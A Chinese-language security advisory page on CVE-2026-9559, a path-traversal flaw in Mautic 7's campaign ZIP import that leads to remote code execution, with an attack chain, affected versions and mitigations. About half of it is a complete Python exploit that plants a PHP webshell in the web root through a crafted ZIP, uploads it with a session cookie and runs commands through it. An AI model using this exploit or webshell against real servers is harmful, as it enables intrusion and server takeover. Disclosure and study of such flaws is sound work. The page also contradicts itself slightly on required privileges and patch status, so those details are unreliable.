IPBUF安全漏洞报告
English
CVE-2026-9559 CVSS 9.9 严重

CVE-2026-9559 Mautic 7 路径遍历导致远程代码执行漏洞

披露日期: 2026-05-29

漏洞信息

漏洞编号
CVE-2026-9559
漏洞类型
路径遍历/远程代码执行
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Mautic 7

相关标签

路径遍历远程代码执行MauticCVE-2026-9559ZIP解压活动导入权限提升Web安全

漏洞概述

CVE-2026-9559是Mautic 7中一个严重的路径遍历漏洞,位于活动导入功能中。该漏洞源于ZIP文件解压时验证逻辑存在缺陷,攻击者可以通过构造恶意ZIP文件使文件路径逃逸出预期的临时目录范围。拥有活动导入权限(campaign:imports:create)的认证用户可以利用此漏洞向系统敏感目录写入任意PHP文件,进而覆写关键的内部配置或缓存组件,最终在Web服务器用户的上下文中实现远程代码执行(RCE)。CVSS评分高达9.9,属于严重级别,对系统机密性、完整性和可用性均造成严重影响。

技术细节

该漏洞的根本原因在于Mautic 7的活动导入功能在处理用户上传的ZIP文件时,未对压缩包内文件路径进行充分的路径规范化验证。攻击者可以通过在ZIP文件中嵌入包含路径遍历序列(如../)的文件名,使得文件在解压时被写入到目标目录之外的位置。具体来说,当ZIP文件包含类似../../var/www/html/mautic/config.php的文件路径时,解压操作会将该文件写入Mautic的配置目录,从而可能覆写现有配置或注入恶意代码。攻击者还可以将文件写入Web根目录下的可执行位置,随后通过HTTP请求访问这些文件以触发恶意代码执行。由于漏洞利用需要认证用户身份,且需要campaign:imports:create权限,因此属于高权限用户才能利用的漏洞变种。

攻击链分析

STEP 1
1
攻击者获取Mautic 7系统的有效认证凭据,并确保账户拥有campaign:imports:create权限
STEP 2
2
攻击者构造包含路径遍历序列的恶意ZIP文件,文件路径使用类似../../../var/www/html/mautic/的形式
STEP 3
3
攻击者通过活动导入功能上传恶意ZIP文件到/s/campaigns/import端点
STEP 4
4
Mautic在解压ZIP文件时未正确验证文件路径,允许攻击者将PHP webshell写入Web根目录
STEP 5
5
攻击者通过HTTP请求访问写入的webshell文件,在服务器上执行任意系统命令
STEP 6
6
攻击者成功在Web服务器用户上下文中实现远程代码执行,可进一步横向移动或窃取数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-9559 PoC - Mautic 7 Path Traversal leading to RCE Note: This PoC is for educational and authorized testing purposes only. """ import zipfile import os import sys import requests def create_malicious_zip(): """Create a malicious ZIP file with path traversal payload""" # Create a PHP webshell that will be written to web root webshell_content = b'<?php system($_GET["cmd"]); ?>' # Path traversal to write to web root webshell_path = '../../../var/www/html/mautic/shell.php' # Alternative: Overwrite Mautic configuration config_path = '../../../var/www/html/mautic/config.php' zip_filename = 'campaign_import.zip' with zipfile.ZipFile(zip_filename, 'w') as zipf: # Add webshell with path traversal zipf.writestr(webshell_path, webshell_content) # Add legitimate campaign data to pass validation zipf.writestr('campaigns/import.csv', 'name,description\nMalicious Campaign,Test') print(f'[+] Created malicious ZIP: {zip_filename}') return zip_filename def exploit_mautic(target_url, zip_file, session_cookie): """ Upload the malicious ZIP file via campaign import feature Args: target_url: Base URL of Mautic installation zip_file: Path to malicious ZIP file session_cookie: Valid session cookie for authenticated user """ upload_url = f'{target_url}/s/campaigns/import' headers = { 'Cookie': f'mautic_session={session_cookie}', 'X-Requested-With': 'XMLHttpRequest' } files = { 'file': ('campaign_import.zip', open(zip_file, 'rb'), 'application/zip') } data = { 'import': 1 } try: response = requests.post(upload_url, headers=headers, files=files, data=data) if response.status_code == 200: print('[+] Malicious ZIP file uploaded successfully') print('[+] Path traversal should have written webshell to web root') # Check if webshell exists webshell_url = f'{target_url}/shell.php?cmd=id' check_response = requests.get(webshell_url) if check_response.status_code == 200: print('[+] RCE CONFIRMED - Webshell deployed successfully') print(f'[+] Command output: {check_response.text}') return True else: print(f'[-] Upload failed with status code: {response.status_code}') return False except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') return False def main(): if len(sys.argv) < 4: print(f'Usage: {sys.argv[0]} <target_url> <session_cookie> <action>') print('Example: python3 cve_2026_9559.py http://target.com "abc123" create') sys.exit(1) target_url = sys.argv[1].rstrip('/') session_cookie = sys.argv[2] action = sys.argv[3] if action == 'create': zip_file = create_malicious_zip() print(f'[+] ZIP file created: {zip_file}') elif action == 'exploit': zip_file = 'campaign_import.zip' exploit_mautic(target_url, zip_file, session_cookie) else: print('[-] Invalid action. Use "create" or "exploit"') if __name__ == '__main__': main()

影响范围

Mautic 7.x < 7.0.1 (补丁版本)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制campaign:imports:create权限的授予范围,仅限于必要的可信用户;2)在Web服务器配置中限制上传目录的PHP脚本执行权限;3)启用文件上传的MIME类型验证和白名单机制;4)监控/日志审计活动导入功能的异常使用行为;5)考虑临时禁用活动导入功能直到应用安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表